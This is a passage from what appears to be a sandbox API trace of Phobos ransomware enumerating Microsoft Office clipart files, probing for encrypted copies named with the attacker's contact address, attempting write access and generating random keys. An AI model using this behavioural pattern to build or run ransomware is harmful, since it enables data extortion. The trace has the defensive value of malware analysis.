office\\root\\clipart\\pub60cor\\hh00687_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.697] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.697] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.697] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.697] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=7084) returned 1 [0149.697] CloseHandle (hObject=0x580) returned 1 [0149.697] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf")) returned 0x220 [0149.697] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.697] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.697] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.698] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.698] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=7098) returned 1 [0149.698] CloseHandle (hObject=0x580) returned 1 [0149.698] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf")) returned 0x220 [0149.698] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.698] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.698] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.698] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.700] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=2848) returned 1 [0149.700] CloseHandle (hObject=0x580) returned 1 [0149.700] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf")) returned 0x220 [0149.700] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.700] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.700] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.700] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.701] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=1148) returned 1 [0149.701] CloseHandle (hObject=0x580) returned 1 [0149.701] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf")) returned 0x220 [0149.701] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.701] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.701] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.701] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.702] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=2756) returned 1 [0149.702] CloseHandle (hObject=0x580) returned 1 [0149.702] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf")) returned 0x220 [0149.702] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.702] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.702] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.702] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.703] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=1268) returned 1 [0149.703] CloseHandle (hObject=0x580) returned 1 [0149.703] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf")) returned 0x220 [0149.703] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.703] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.703] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.703] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.704] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=5000) returned 1 [0149.704] CloseHandle (hObject=0x580) returned 1 [0149.704] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf")) returned 0x220 [0149.704] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.704] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.704] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.704] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.705] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=7340) returned 1 [0149.705] CloseHandle (hObject=0x580) returned 1 [0149.705] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf")) returned 0x220 [0149.705] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.706] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.706] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.706] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.706] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=15806) returned 1 [0149.706] CloseHandle (hObject=0x580) returned 1 [0149.706] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf")) returned 0x220 [0149.706] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.706] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.707] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.707] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.707] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=6016) returned 1 [0149.707] CloseHandle (hObject=0x580) returned 1 [0149.707] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf")) returned 0x220 [0149.707] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.707] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.707] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.707] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.708] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=5958) returned 1 [0149.708] CloseHandle (hObject=0x580) returned 1 [0149.708] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf")) returned 0x220 [0149.708] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.708] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.708] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.708] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.709] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=7296) returned 1 [0149.709] CloseHandle (hObject=0x580) returned 1 [0149.709] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf")) returned 0x220 [0149.709] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.709] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.709] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.709] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0149.752] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=5414) returned 1 [0149.752] CloseHandle (hObject=0x560) returned 1 [0149.752] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf")) returned 0x220 [0149.752] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.752] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.753] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.753] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0149.754] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=2616) returned 1 [0149.754] CloseHandle (hObject=0x560) returned 1 [0149.754] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf")) returned 0x220 [0149.754] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.755] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.756] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.756] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0149.761] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=26706) returned 1 [0149.761] CloseHandle (hObject=0x560) returned 1 [0149.761] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf")) returned 0x220 [0149.762] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.762] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.762] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.762] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0149.888] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=2704) returned 1 [0149.888] CloseHandle (hObject=0x560) returned 1 [0149.888] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf")) returned 0x220 [0149.888] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.889] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.890] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.890] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program 